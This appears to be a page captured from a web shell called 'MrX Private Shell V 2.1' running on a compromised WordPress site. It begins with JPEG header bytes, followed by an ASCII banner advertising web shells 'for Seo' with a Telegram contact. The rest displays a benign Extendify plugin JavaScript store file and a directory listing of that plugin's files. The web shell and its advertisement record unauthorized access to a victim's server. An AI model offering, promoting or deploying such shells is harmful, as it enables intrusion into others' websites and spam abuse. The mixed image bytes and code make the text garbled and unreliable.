����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { safeParseJson } from '@shared/lib/parsing';
import apiFetch from '@wordpress/api-fetch';
import { create } from 'zustand';
import { createJSONStorage, devtools, persist } from 'zustand/middleware';
const startingState = {
siteType: {
slug: '0default',
name: 'Default',
},
siteInformation: {
title: undefined,
},
style: null,
pages: [],
sitePlugins: [],
// initialize the state with default values
...(safeParseJson(window.extSharedData.launchDataLegacy)?.state ?? {}),
};
const state = () => ({
...startingState,
// Add methods here
});
const path = '/extendify/v1/shared/user-selections-data';
const storage = {
getItem: async () => await apiFetch({ path }),
setItem: async (_name, state) =>
await apiFetch({ path, method: 'POST', data: { state } }),
};
export const useUserSelectionStore = create(
persist(devtools(state, { name: 'Extendify User Selections' }), {
storage: createJSONStorage(() => storage),
skipHydration: true,
}),
state,
);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ai-chat.js | File | 1.14 KB | 0644 |
|
| globals-sync.js | File | 686 B | 0644 |
|
| knowledge-base.js | File | 2.22 KB | 0644 |
|
| tours.js | File | 6.51 KB | 0644 |
|
| user-selections.js | File | 985 B | 0644 |
|